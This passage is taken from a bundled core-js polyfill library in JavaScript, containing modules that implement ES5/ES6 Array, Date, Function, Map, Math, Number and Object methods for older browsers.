}
result.length = index;
return result;
}
});
},{"108":108,"109":109,"118":118,"24":24,"25":25,"32":32,"46":46,"51":51,"54":54}],129:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $indexOf = _dereq_(11)(false)
, $native = [].indexOf
, NEGATIVE_ZERO = !!$native && 1 / [1].indexOf(1, -0) < 0;
$export($export.P + $export.F * (NEGATIVE_ZERO || !_dereq_(96)($native)), 'Array', {
// 22.1.3.11 / 15.4.4.14 Array.prototype.indexOf(searchElement [, fromIndex])
indexOf: function indexOf(searchElement /*, fromIndex = 0 */){
return NEGATIVE_ZERO
// convert -0 to +0
? $native.apply(this, arguments) || 0
: $indexOf(this, searchElement, arguments[1]);
}
});
},{"11":11,"32":32,"96":96}],130:[function(_dereq_,module,exports){
// 22.1.2.2 / 15.4.3.2 Array.isArray(arg)
var $export = _dereq_(32);
$export($export.S, 'Array', {isArray: _dereq_(47)});
},{"32":32,"47":47}],131:[function(_dereq_,module,exports){
'use strict';
var addToUnscopables = _dereq_(5)
, step = _dereq_(55)
, Iterators = _dereq_(56)
, toIObject = _dereq_(107);
// 22.1.3.4 Array.prototype.entries()
// 22.1.3.13 Array.prototype.keys()
// 22.1.3.29 Array.prototype.values()
// 22.1.3.30 Array.prototype[@@iterator]()
module.exports = _dereq_(53)(Array, 'Array', function(iterated, kind){
this._t = toIObject(iterated); // target
this._i = 0; // next index
this._k = kind; // kind
// 22.1.5.2.1 %ArrayIteratorPrototype%.next()
}, function(){
var O = this._t
, kind = this._k
, index = this._i++;
if(!O || index >= O.length){
this._t = undefined;
return step(1);
}
if(kind == 'keys' )return step(0, index);
if(kind == 'values')return step(0, O[index]);
return step(0, [index, O[index]]);
}, 'values');
// argumentsList[@@iterator] is %ArrayProto_values% (9.4.4.6, 9.4.4.7)
Iterators.Arguments = Iterators.Array;
addToUnscopables('keys');
addToUnscopables('values');
addToUnscopables('entries');
},{"107":107,"5":5,"53":53,"55":55,"56":56}],132:[function(_dereq_,module,exports){
'use strict';
// 22.1.3.13 Array.prototype.join(separator)
var $export = _dereq_(32)
, toIObject = _dereq_(107)
, arrayJoin = [].join;
// fallback for not array-like strings
$export($export.P + $export.F * (_dereq_(45) != Object || !_dereq_(96)(arrayJoin)), 'Array', {
join: function join(separator){
return arrayJoin.call(toIObject(this), separator === undefined ? ',' : separator);
}
});
},{"107":107,"32":32,"45":45,"96":96}],133:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toIObject = _dereq_(107)
, toInteger = _dereq_(106)
, toLength = _dereq_(108)
, $native = [].lastIndexOf
, NEGATIVE_ZERO = !!$native && 1 / [1].lastIndexOf(1, -0) < 0;
$export($export.P + $export.F * (NEGATIVE_ZERO || !_dereq_(96)($native)), 'Array', {
// 22.1.3.14 / 15.4.4.15 Array.prototype.lastIndexOf(searchElement [, fromIndex])
lastIndexOf: function lastIndexOf(searchElement /*, fromIndex = @[*-1] */){
// convert -0 to +0
if(NEGATIVE_ZERO)return $native.apply(this, arguments) || 0;
var O = toIObject(this)
, length = toLength(O.length)
, index = length - 1;
if(arguments.length > 1)index = Math.min(index, toInteger(arguments[1]));
if(index < 0)index = length + index;
for(;index >= 0; index--)if(index in O)if(O[index] === searchElement)return index || 0;
return -1;
}
});
},{"106":106,"107":107,"108":108,"32":32,"96":96}],134:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $map = _dereq_(12)(1);
$export($export.P + $export.F * !_dereq_(96)([].map, true), 'Array', {
// 22.1.3.15 / 15.4.4.19 Array.prototype.map(callbackfn [, thisArg])
map: function map(callbackfn /* , thisArg */){
return $map(this, callbackfn, arguments[1]);
}
});
},{"12":12,"32":32,"96":96}],135:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, createProperty = _dereq_(24);
// WebKit Array.of isn't generic
$export($export.S + $export.F * _dereq_(34)(function(){
function F(){}
return !(Array.of.call(F) instanceof F);
}), 'Array', {
// 22.1.2.3 Array.of( ...items)
of: function of(/* ...args */){
var index = 0
, aLen = arguments.length
, result = new (typeof this == 'function' ? this : Array)(aLen);
while(aLen > index)createProperty(result, index, arguments[index++]);
result.length = aLen;
return result;
}
});
},{"24":24,"32":32,"34":34}],136:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $reduce = _dereq_(13);
$export($export.P + $export.F * !_dereq_(96)([].reduceRight, true), 'Array', {
// 22.1.3.19 / 15.4.4.22 Array.prototype.reduceRight(callbackfn [, initialValue])
reduceRight: function reduceRight(callbackfn /* , initialValue */){
return $reduce(this, callbackfn, arguments.length, arguments[1], true);
}
});
},{"13":13,"32":32,"96":96}],137:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $reduce = _dereq_(13);
$export($export.P + $export.F * !_dereq_(96)([].reduce, true), 'Array', {
// 22.1.3.18 / 15.4.4.21 Array.prototype.reduce(callbackfn [, initialValue])
reduce: function reduce(callbackfn /* , initialValue */){
return $reduce(this, callbackfn, arguments.length, arguments[1], false);
}
});
},{"13":13,"32":32,"96":96}],138:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, html = _dereq_(41)
, cof = _dereq_(18)
, toIndex = _dereq_(105)
, toLength = _dereq_(108)
, arraySlice = [].slice;
// fallback for not array-like ES3 strings and DOM objects
$export($export.P + $export.F * _dereq_(34)(function(){
if(html)arraySlice.call(html);
}), 'Array', {
slice: function slice(begin, end){
var len = toLength(this.length)
, klass = cof(this);
end = end === undefined ? len : end;
if(klass == 'Array')return arraySlice.call(this, begin, end);
var start = toIndex(begin, len)
, upTo = toIndex(end, len)
, size = toLength(upTo - start)
, cloned = Array(size)
, i = 0;
for(; i < size; i++)cloned[i] = klass == 'String'
? this.charAt(start + i)
: this[start + i];
return cloned;
}
});
},{"105":105,"108":108,"18":18,"32":32,"34":34,"41":41}],139:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $some = _dereq_(12)(3);
$export($export.P + $export.F * !_dereq_(96)([].some, true), 'Array', {
// 22.1.3.23 / 15.4.4.17 Array.prototype.some(callbackfn [, thisArg])
some: function some(callbackfn /* , thisArg */){
return $some(this, callbackfn, arguments[1]);
}
});
},{"12":12,"32":32,"96":96}],140:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, aFunction = _dereq_(3)
, toObject = _dereq_(109)
, fails = _dereq_(34)
, $sort = [].sort
, test = [1, 2, 3];
$export($export.P + $export.F * (fails(function(){
// IE8-
test.sort(undefined);
}) || !fails(function(){
// V8 bug
test.sort(null);
// Old WebKit
}) || !_dereq_(96)($sort)), 'Array', {
// 22.1.3.25 Array.prototype.sort(comparefn)
sort: function sort(comparefn){
return comparefn === undefined
? $sort.call(toObject(this))
: $sort.call(toObject(this), aFunction(comparefn));
}
});
},{"109":109,"3":3,"32":32,"34":34,"96":96}],141:[function(_dereq_,module,exports){
_dereq_(91)('Array');
},{"91":91}],142:[function(_dereq_,module,exports){
// 20.3.3.1 / 15.9.4.4 Date.now()
var $export = _dereq_(32);
$export($export.S, 'Date', {now: function(){ return new Date().getTime(); }});
},{"32":32}],143:[function(_dereq_,module,exports){
'use strict';
// 20.3.4.36 / 15.9.5.43 Date.prototype.toISOString()
var $export = _dereq_(32)
, fails = _dereq_(34)
, getTime = Date.prototype.getTime;
var lz = function(num){
return num > 9 ? num : '0' + num;
};
// PhantomJS / old WebKit has a broken implementations
$export($export.P + $export.F * (fails(function(){
return new Date(-5e13 - 1).toISOString() != '0385-07-25T07:06:39.999Z';
}) || !fails(function(){
new Date(NaN).toISOString();
})), 'Date', {
toISOString: function toISOString(){
if(!isFinite(getTime.call(this)))throw RangeError('Invalid time value');
var d = this
, y = d.getUTCFullYear()
, m = d.getUTCMilliseconds()
, s = y < 0 ? '-' : y > 9999 ? '+' : '';
return s + ('00000' + Math.abs(y)).slice(s ? -6 : -4) +
'-' + lz(d.getUTCMonth() + 1) + '-' + lz(d.getUTCDate()) +
'T' + lz(d.getUTCHours()) + ':' + lz(d.getUTCMinutes()) +
':' + lz(d.getUTCSeconds()) + '.' + (m > 99 ? m : '0' + lz(m)) + 'Z';
}
});
},{"32":32,"34":34}],144:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toObject = _dereq_(109)
, toPrimitive = _dereq_(110);
$export($export.P + $export.F * _dereq_(34)(function(){
return new Date(NaN).toJSON() !== null || Date.prototype.toJSON.call({toISOString: function(){ return 1; }}) !== 1;
}), 'Date', {
toJSON: function toJSON(key){
var O = toObject(this)
, pv = toPrimitive(O);
return typeof pv == 'number' && !isFinite(pv) ? null : O.toISOString();
}
});
},{"109":109,"110":110,"32":32,"34":34}],145:[function(_dereq_,module,exports){
var TO_PRIMITIVE = _dereq_(117)('toPrimitive')
, proto = Date.prototype;
if(!(TO_PRIMITIVE in proto))_dereq_(40)(proto, TO_PRIMITIVE, _dereq_(26));
},{"117":117,"26":26,"40":40}],146:[function(_dereq_,module,exports){
var DateProto = Date.prototype
, INVALID_DATE = 'Invalid Date'
, TO_STRING = 'toString'
, $toString = DateProto[TO_STRING]
, getTime = DateProto.getTime;
if(new Date(NaN) + '' != INVALID_DATE){
_dereq_(87)(DateProto, TO_STRING, function toString(){
var value = getTime.call(this);
return value === value ? $toString.call(this) : INVALID_DATE;
});
}
},{"87":87}],147:[function(_dereq_,module,exports){
// 19.2.3.2 / 15.3.4.5 Function.prototype.bind(thisArg, args...)
var $export = _dereq_(32);
$export($export.P, 'Function', {bind: _dereq_(16)});
},{"16":16,"32":32}],148:[function(_dereq_,module,exports){
'use strict';
var isObject = _dereq_(49)
, getPrototypeOf = _dereq_(74)
, HAS_INSTANCE = _dereq_(117)('hasInstance')
, FunctionProto = Function.prototype;
// 19.2.3.6 Function.prototype[@@hasInstance](V)
if(!(HAS_INSTANCE in FunctionProto))_dereq_(67).f(FunctionProto, HAS_INSTANCE, {value: function(O){
if(typeof this != 'function' || !isObject(O))return false;
if(!isObject(this.prototype))return O instanceof this;
// for environment w/o native `@@hasInstance` logic enough `instanceof`, but add this:
while(O = getPrototypeOf(O))if(this.prototype === O)return true;
return false;
}});
},{"117":117,"49":49,"67":67,"74":74}],149:[function(_dereq_,module,exports){
var dP = _dereq_(67).f
, createDesc = _dereq_(85)
, has = _dereq_(39)
, FProto = Function.prototype
, nameRE = /^\s*function ([^ (]*)/
, NAME = 'name';
var isExtensible = Object.isExtensible || function(){
return true;
};
// 19.2.4.2 name
NAME in FProto || _dereq_(28) && dP(FProto, NAME, {
configurable: true,
get: function(){
try {
var that = this
, name = ('' + that).match(nameRE)[1];
has(that, NAME) || !isExtensible(that) || dP(that, NAME, createDesc(5, name));
return name;
} catch(e){
return '';
}
}
});
},{"28":28,"39":39,"67":67,"85":85}],150:[function(_dereq_,module,exports){
'use strict';
var strong = _dereq_(19);
// 23.1 Map Objects
module.exports = _dereq_(22)('Map', function(get){
return function Map(){ return get(this, arguments.length > 0 ? arguments[0] : undefined); };
}, {
// 23.1.3.6 Map.prototype.get(key)
get: function get(key){
var entry = strong.getEntry(this, key);
return entry && entry.v;
},
// 23.1.3.9 Map.prototype.set(key, value)
set: function set(key, value){
return strong.def(this, key === 0 ? 0 : key, value);
}
}, strong, true);
},{"19":19,"22":22}],151:[function(_dereq_,module,exports){
// 20.2.2.3 Math.acosh(x)
var $export = _dereq_(32)
, log1p = _dereq_(60)
, sqrt = Math.sqrt
, $acosh = Math.acosh;
$export($export.S + $export.F * !($acosh
// V8 bug: https://code.google.com/p/v8/issues/detail?id=3509
&& Math.floor($acosh(Number.MAX_VALUE)) == 710
// Tor Browser bug: Math.acosh(Infinity) -> NaN
&& $acosh(Infinity) == Infinity
), 'Math', {
acosh: function acosh(x){
return (x = +x) < 1 ? NaN : x > 94906265.62425156
? Math.log(x) + Math.LN2
: log1p(x - 1 + sqrt(x - 1) * sqrt(x + 1));
}
});
},{"32":32,"60":60}],152:[function(_dereq_,module,exports){
// 20.2.2.5 Math.asinh(x)
var $export = _dereq_(32)
, $asinh = Math.asinh;
function asinh(x){
return !isFinite(x = +x) || x == 0 ? x : x < 0 ? -asinh(-x) : Math.log(x + Math.sqrt(x * x + 1));
}
// Tor Browser bug: Math.asinh(0) -> -0
$export($export.S + $export.F * !($asinh && 1 / $asinh(0) > 0), 'Math', {asinh: asinh});
},{"32":32}],153:[function(_dereq_,module,exports){
// 20.2.2.7 Math.atanh(x)
var $export = _dereq_(32)
, $atanh = Math.atanh;
// Tor Browser bug: Math.atanh(-0) -> 0
$export($export.S + $export.F * !($atanh && 1 / $atanh(-0) < 0), 'Math', {
atanh: function atanh(x){
return (x = +x) == 0 ? x : Math.log((1 + x) / (1 - x)) / 2;
}
});
},{"32":32}],154:[function(_dereq_,module,exports){
// 20.2.2.9 Math.cbrt(x)
var $export = _dereq_(32)
, sign = _dereq_(61);
$export($export.S, 'Math', {
cbrt: function cbrt(x){
return sign(x = +x) * Math.pow(Math.abs(x), 1 / 3);
}
});
},{"32":32,"61":61}],155:[function(_dereq_,module,exports){
// 20.2.2.11 Math.clz32(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {
clz32: function clz32(x){
return (x >>>= 0) ? 31 - Math.floor(Math.log(x + 0.5) * Math.LOG2E) : 32;
}
});
},{"32":32}],156:[function(_dereq_,module,exports){
// 20.2.2.12 Math.cosh(x)
var $export = _dereq_(32)
, exp = Math.exp;
$export($export.S, 'Math', {
cosh: function cosh(x){
return (exp(x = +x) + exp(-x)) / 2;
}
});
},{"32":32}],157:[function(_dereq_,module,exports){
// 20.2.2.14 Math.expm1(x)
var $export = _dereq_(32)
, $expm1 = _dereq_(59);
$export($export.S + $export.F * ($expm1 != Math.expm1), 'Math', {expm1: $expm1});
},{"32":32,"59":59}],158:[function(_dereq_,module,exports){
// 20.2.2.16 Math.fround(x)
var $export = _dereq_(32)
, sign = _dereq_(61)
, pow = Math.pow
, EPSILON = pow(2, -52)
, EPSILON32 = pow(2, -23)
, MAX32 = pow(2, 127) * (2 - EPSILON32)
, MIN32 = pow(2, -126);
var roundTiesToEven = function(n){
return n + 1 / EPSILON - 1 / EPSILON;
};
$export($export.S, 'Math', {
fround: function fround(x){
var $abs = Math.abs(x)
, $sign = sign(x)
, a, result;
if($abs < MIN32)return $sign * roundTiesToEven($abs / MIN32 / EPSILON32) * MIN32 * EPSILON32;
a = (1 + EPSILON32 / EPSILON) * $abs;
result = a - (a - $abs);
if(result > MAX32 || result != result)return $sign * Infinity;
return $sign * result;
}
});
},{"32":32,"61":61}],159:[function(_dereq_,module,exports){
// 20.2.2.17 Math.hypot([value1[, value2[, … ]]])
var $export = _dereq_(32)
, abs = Math.abs;
$export($export.S, 'Math', {
hypot: function hypot(value1, value2){ // eslint-disable-line no-unused-vars
var sum = 0
, i = 0
, aLen = arguments.length
, larg = 0
, arg, div;
while(i < aLen){
arg = abs(arguments[i++]);
if(larg < arg){
div = larg / arg;
sum = sum * div * div + 1;
larg = arg;
} else if(arg > 0){
div = arg / larg;
sum += div * div;
} else sum += arg;
}
return larg === Infinity ? Infinity : larg * Math.sqrt(sum);
}
});
},{"32":32}],160:[function(_dereq_,module,exports){
// 20.2.2.18 Math.imul(x, y)
var $export = _dereq_(32)
, $imul = Math.imul;
// some WebKit versions fails with big numbers, some has wrong arity
$export($export.S + $export.F * _dereq_(34)(function(){
return $imul(0xffffffff, 5) != -5 || $imul.length != 2;
}), 'Math', {
imul: function imul(x, y){
var UINT16 = 0xffff
, xn = +x
, yn = +y
, xl = UINT16 & xn
, yl = UINT16 & yn;
return 0 | xl * yl + ((UINT16 & xn >>> 16) * yl + xl * (UINT16 & yn >>> 16) << 16 >>> 0);
}
});
},{"32":32,"34":34}],161:[function(_dereq_,module,exports){
// 20.2.2.21 Math.log10(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {
log10: function log10(x){
return Math.log(x) / Math.LN10;
}
});
},{"32":32}],162:[function(_dereq_,module,exports){
// 20.2.2.20 Math.log1p(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {log1p: _dereq_(60)});
},{"32":32,"60":60}],163:[function(_dereq_,module,exports){
// 20.2.2.22 Math.log2(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {
log2: function log2(x){
return Math.log(x) / Math.LN2;
}
});
},{"32":32}],164:[function(_dereq_,module,exports){
// 20.2.2.28 Math.sign(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {sign: _dereq_(61)});
},{"32":32,"61":61}],165:[function(_dereq_,module,exports){
// 20.2.2.30 Math.sinh(x)
var $export = _dereq_(32)
, expm1 = _dereq_(59)
, exp = Math.exp;
// V8 near Chromium 38 has a problem with very small numbers
$export($export.S + $export.F * _dereq_(34)(function(){
return !Math.sinh(-2e-17) != -2e-17;
}), 'Math', {
sinh: function sinh(x){
return Math.abs(x = +x) < 1
? (expm1(x) - expm1(-x)) / 2
: (exp(x - 1) - exp(-x - 1)) * (Math.E / 2);
}
});
},{"32":32,"34":34,"59":59}],166:[function(_dereq_,module,exports){
// 20.2.2.33 Math.tanh(x)
var $export = _dereq_(32)
, expm1 = _dereq_(59)
, exp = Math.exp;
$export($export.S, 'Math', {
tanh: function tanh(x){
var a = expm1(x = +x)
, b = expm1(-x);
return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (exp(x) + exp(-x));
}
});
},{"32":32,"59":59}],167:[function(_dereq_,module,exports){
// 20.2.2.34 Math.trunc(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {
trunc: function trunc(it){
return (it > 0 ? Math.floor : Math.ceil)(it);
}
});
},{"32":32}],168:[function(_dereq_,module,exports){
'use strict';
var global = _dereq_(38)
, has = _dereq_(39)
, cof = _dereq_(18)
, inheritIfRequired = _dereq_(43)
, toPrimitive = _dereq_(110)
, fails = _dereq_(34)
, gOPN = _dereq_(72).f
, gOPD = _dereq_(70).f
, dP = _dereq_(67).f
, $trim = _dereq_(102).trim
, NUMBER = 'Number'
, $Number = global[NUMBER]
, Base = $Number
, proto = $Number.prototype
// Opera ~12 has broken Object#toString
, BROKEN_COF = cof(_dereq_(66)(proto)) == NUMBER
, TRIM = 'trim' in String.prototype;
// 7.1.3 ToNumber(argument)
var toNumber = function(argument){
var it = toPrimitive(argument, false);
if(typeof it == 'string' && it.length > 2){
it = TRIM ? it.trim() : $trim(it, 3);
var first = it.charCodeAt(0)
, third, radix, maxCode;
if(first === 43 || first === 45){
third = it.charCodeAt(2);
if(third === 88 || third === 120)return NaN; // Number('+0x1') should be NaN, old V8 fix
} else if(first === 48){
switch(it.charCodeAt(1)){
case 66 : case 98 : radix = 2; maxCode = 49; break; // fast equal /^0b[01]+$/i
case 79 : case 111 : radix = 8; maxCode = 55; break; // fast equal /^0o[0-7]+$/i
default : return +it;
}
for(var digits = it.slice(2), i = 0, l = digits.length, code; i < l; i++){
code = digits.charCodeAt(i);
// parseInt parses a string to a first unavailable symbol
// but ToNumber should return NaN if a string contains unavailable symbols
if(code < 48 || code > maxCode)return NaN;
} return parseInt(digits, radix);
}
} return +it;
};
if(!$Number(' 0o1') || !$Number('0b1') || $Number('+0x1')){
$Number = function Number(value){
var it = arguments.length < 1 ? 0 : value
, that = this;
return that instanceof $Number
// check on 1..constructor(foo) case
&& (BROKEN_COF ? fails(function(){ proto.valueOf.call(that); }) : cof(that) != NUMBER)
? inheritIfRequired(new Base(toNumber(it)), that, $Number) : toNumber(it);
};
for(var keys = _dereq_(28) ? gOPN(Base) : (
// ES3:
'MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,' +
// ES6 (in case, if modules with ES6 Number statics required before):
'EPSILON,isFinite,isInteger,isNaN,isSafeInteger,MAX_SAFE_INTEGER,' +
'MIN_SAFE_INTEGER,parseFloat,parseInt,isInteger'
).split(','), j = 0, key; keys.length > j; j++){
if(has(Base, key = keys[j]) && !has($Number, key)){
dP($Number, key, gOPD(Base, key));
}
}
$Number.prototype = proto;
proto.constructor = $Number;
_dereq_(87)(global, NUMBER, $Number);
}
},{"102":102,"110":110,"18":18,"28":28,"34":34,"38":38,"39":39,"43":43,"66":66,"67":67,"70":70,"72":72,"87":87}],169:[function(_dereq_,module,exports){
// 20.1.2.1 Number.EPSILON
var $export = _dereq_(32);
$export($export.S, 'Number', {EPSILON: Math.pow(2, -52)});
},{"32":32}],170:[function(_dereq_,module,exports){
// 20.1.2.2 Number.isFinite(number)
var $export = _dereq_(32)
, _isFinite = _dereq_(38).isFinite;
$export($export.S, 'Number', {
isFinite: function isFinite(it){
return typeof it == 'number' && _isFinite(it);
}
});
},{"32":32,"38":38}],171:[function(_dereq_,module,exports){
// 20.1.2.3 Number.isInteger(number)
var $export = _dereq_(32);
$export($export.S, 'Number', {isInteger: _dereq_(48)});
},{"32":32,"48":48}],172:[function(_dereq_,module,exports){
// 20.1.2.4 Number.isNaN(number)
var $export = _dereq_(32);
$export($export.S, 'Number', {
isNaN: function isNaN(number){
return number != number;
}
});
},{"32":32}],173:[function(_dereq_,module,exports){
// 20.1.2.5 Number.isSafeInteger(number)
var $export = _dereq_(32)
, isInteger = _dereq_(48)
, abs = Math.abs;
$export($export.S, 'Number', {
isSafeInteger: function isSafeInteger(number){
return isInteger(number) && abs(number) <= 0x1fffffffffffff;
}
});
},{"32":32,"48":48}],174:[function(_dereq_,module,exports){
// 20.1.2.6 Number.MAX_SAFE_INTEGER
var $export = _dereq_(32);
$export($export.S, 'Number', {MAX_SAFE_INTEGER: 0x1fffffffffffff});
},{"32":32}],175:[function(_dereq_,module,exports){
// 20.1.2.10 Number.MIN_SAFE_INTEGER
var $export = _dereq_(32);
$export($export.S, 'Number', {MIN_SAFE_INTEGER: -0x1fffffffffffff});
},{"32":32}],176:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, $parseFloat = _dereq_(81);
// 20.1.2.12 Number.parseFloat(string)
$export($export.S + $export.F * (Number.parseFloat != $parseFloat), 'Number', {parseFloat: $parseFloat});
},{"32":32,"81":81}],177:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, $parseInt = _dereq_(82);
// 20.1.2.13 Number.parseInt(string, radix)
$export($export.S + $export.F * (Number.parseInt != $parseInt), 'Number', {parseInt: $parseInt});
},{"32":32,"82":82}],178:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, anInstance = _dereq_(6)
, toInteger = _dereq_(106)
, aNumberValue = _dereq_(4)
, repeat = _dereq_(101)
, $toFixed = 1..toFixed
, floor = Math.floor
, data = [0, 0, 0, 0, 0, 0]
, ERROR = 'Number.toFixed: incorrect invocation!'
, ZERO = '0';
var multiply = function(n, c){
var i = -1
, c2 = c;
while(++i < 6){
c2 += n * data[i];
data[i] = c2 % 1e7;
c2 = floor(c2 / 1e7);
}
};
var divide = function(n){
var i = 6
, c = 0;
while(--i >= 0){
c += data[i];
data[i] = floor(c / n);
c = (c % n) * 1e7;
}
};
var numToString = function(){
var i = 6
, s = '';
while(--i >= 0){
if(s !== '' || i === 0 || data[i] !== 0){
var t = String(data[i]);
s = s === '' ? t : s + repeat.call(ZERO, 7 - t.length) + t;
}
} return s;
};
var pow = function(x, n, acc){
return n === 0 ? acc : n % 2 === 1 ? pow(x, n - 1, acc * x) : pow(x * x, n / 2, acc);
};
var log = function(x){
var n = 0
, x2 = x;
while(x2 >= 4096){
n += 12;
x2 /= 4096;
}
while(x2 >= 2){
n += 1;
x2 /= 2;
} return n;
};
$export($export.P + $export.F * (!!$toFixed && (
0.00008.toFixed(3) !== '0.000' ||
0.9.toFixed(0) !== '1' ||
1.255.toFixed(2) !== '1.25' ||
1000000000000000128..toFixed(0) !== '1000000000000000128'
) || !_dereq_(34)(function(){
// V8 ~ Android 4.3-
$toFixed.call({});
})), 'Number', {
toFixed: function toFixed(fractionDigits){
var x = aNumberValue(this, ERROR)
, f = toInteger(fractionDigits)
, s = ''
, m = ZERO
, e, z, j, k;
if(f < 0 || f > 20)throw RangeError(ERROR);
if(x != x)return 'NaN';
if(x <= -1e21 || x >= 1e21)return String(x);
if(x < 0){
s = '-';
x = -x;
}
if(x > 1e-21){
e = log(x * pow(2, 69, 1)) - 69;
z = e < 0 ? x * pow(2, -e, 1) : x / pow(2, e, 1);
z *= 0x10000000000000;
e = 52 - e;
if(e > 0){
multiply(0, z);
j = f;
while(j >= 7){
multiply(1e7, 0);
j -= 7;
}
multiply(pow(10, j, 1), 0);
j = e - 1;
while(j >= 23){
divide(1 << 23);
j -= 23;
}
divide(1 << j);
multiply(1, 1);
divide(2);
m = numToString();
} else {
multiply(0, z);
multiply(1 << -e, 0);
m = numToString() + repeat.call(ZERO, f);
}
}
if(f > 0){
k = m.length;
m = s + (k <= f ? '0.' + repeat.call(ZERO, f - k) + m : m.slice(0, k - f) + '.' + m.slice(k - f));
} else {
m = s + m;
} return m;
}
});
},{"101":101,"106":106,"32":32,"34":34,"4":4,"6":6}],179:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $fails = _dereq_(34)
, aNumberValue = _dereq_(4)
, $toPrecision = 1..toPrecision;
$export($export.P + $export.F * ($fails(function(){
// IE7-
return $toPrecision.call(1, undefined) !== '1';
}) || !$fails(function(){
// V8 ~ Android 4.3-
$toPrecision.call({});
})), 'Number', {
toPrecision: function toPrecision(precision){
var that = aNumberValue(this, 'Number#toPrecision: incorrect invocation!');
return precision === undefined ? $toPrecision.call(that) : $toPrecision.call(that, precision);
}
});
},{"32":32,"34":34,"4":4}],180:[function(_dereq_,module,exports){
// 19.1.3.1 Object.assign(target, source)
var $export = _dereq_(32);
$export($export.S + $export.F, 'Object', {assign: _dereq_(65)});
},{"32":32,"65":65}],181:[function(_dereq_,module,exports){
var $export = _dereq_(32)
// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])
$export($export.S, 'Object', {create: _dereq_(66)});
},{"32":32,"66":66}],182:[function(_dereq_,module,exports){
var $export = _dereq_(32);
// 19.1.2.3 / 15.2.3.7 Object.defineProperties(O, Properties)
$export($export.S + $export.F * !_dereq_(28), 'Object', {defineProperties: _dereq_(68)});
},{"28":28,"32":32,"68":68}],183:[function(_dereq_,module,exports){
var $export = _dereq_(32);
// 19.1.2.4 / 15.2.3.6 Object.defineProperty(O, P, Attributes)
$export($export.S + $export.F * !_dereq_(28), 'Object', {defineProperty: _dereq_(67).f});
},{"28":28,"32":32,"67":67}],184:[function(_dereq_,module,exports){
// 19.1.2.5 Object.freeze(O)
var isObject = _dereq_(49)
, meta = _dereq_(62).onFreeze;
_dereq_(78)('freeze', function($freeze){
return function freeze(it){
return $freeze && isObject(it) ? $freeze(meta(it)) : it;
};
});
},{"49":49,"62":62,"78":78}],185:[function(_dereq_,module,exports){
// 19.1.2.6 Object.getOwnPropertyDescriptor(O, P)
var toIObject = _dereq_(107)
, $getOwnPropertyDescriptor = _dereq_(70).f;
_dereq_(78)('getOwnPropertyDescriptor', function(){
return function getOwnPropertyDescriptor(it, key){
return $getOwnPropertyDescriptor(toIObject(it), key);
};
});
},{"107":107,"70":70,"78":78}],186:[function(_dereq_,module,exports){
// 19.1.2.7 Object.getOwnPropertyNames(O)
_dereq_(78)('getOwnPropertyNames', function(){
return _dereq_(71).f;
});
},{"71":71,"78":78}],187:[function(_dereq_,module,exports){
// 19.1.2.9 Object.getPrototypeOf(O)
var toObject = _dereq_(109)
, $getPrototypeOf = _dereq_(74);
_dereq_(78)('getPrototypeOf', function(){
return function getPrototypeOf(it){
return $getPrototypeOf(toObject(it));
};
});
},{"109":109,"74":74,"78":78}],188:[function(_dereq_,module,exports){
// 19.1.2.11 Object.isExtensible(O)
var isObject = _dereq_(49);
_dereq_(78)('isExtensible', function($isExtensible){
return function isExtensible(it){
return isObject(it) ? $isExtensible ? $isExtensible(it) : true : false;
};
});
},{"49":49,"78":78}],189:[function(_dereq_,module,exports){
// 19.1.2.12 Object.isFrozen(O)
var isObject = _dereq_(49);
_dereq_(78)('isFrozen', function($isFrozen){
return function isFrozen(it){
return isObject(it) ? $isFrozen ? $isFrozen(it) : false : true;
};
});
},{"49":49,"78":78}],190:[function(_dereq_,module,exports){
// 19.1.2.13 Object.isSealed(O)
var isObject = _dereq_(49);
_dereq_(78)('isSealed', function($isSealed){
return function isSealed(it){
return isObject(it) ? $isSealed ? $isSealed(it) : false : true;
};
});
},{"49":49,"78":78}],191:[function(_dereq_,module,exports){
// 19.1.3.10 Object.is(value1, value2)
var $export = _dereq_(32);
$export($export.S, 'Object', {is: _dereq_(89)});
},{"32":32,"89":89}],192:[function(_dereq_,module,exports){
// 19.1.2.14 Object.keys(O)
var toObject = _dereq_(109)
, $keys = _dereq_(76);
_dereq_(78)('keys', function(){
return function keys(it){
return $keys(toObject(it));
};
});
},{"109":109,"76":76,"78":78}],193:[function(_dereq_,module,exports){
// 19.1.2.15 Object.preventExtensions(O)
var isObject = _dereq_(49)
, meta = _dereq_(62).onFreeze;
_dereq_(78)('preventExtensions', function($preventExtensions){
return function preventExtensions(it){
return $preventExtensions && isObject(it) ? $preventExtensions(meta(it)) : it;
};
});
},{"49":49,"62":62,"78":78}],194:[function(_dereq_,module,exports){
// 19.1.2.17 Object.seal(O)
var isObject = _dereq_(49)
, meta = _dereq_(62).onFreeze;
_dereq_(78)('seal', function($seal){
return function seal(it){
return $seal && isObject(it) ? $seal(meta(it)) : it;
};
});
},{"49":49,"62":62,"78":78}],195:[function(_dereq_,module,exports){
// 19.1.3.19 Object.setPrototypeOf(O, proto)
var $export = _dereq_(32);
$export($export.S, 'Object', {setPrototypeOf: _dereq_(90).set});
},{"32":32,"90":90}],196:[function(_dereq_,module,exports){
'use strict';
// 19.1.3.6 Object.prototype.toString()
var classof = _dereq_(17)
, test = {};
test[_dereq_(117)('toStringTag')] = 'z';
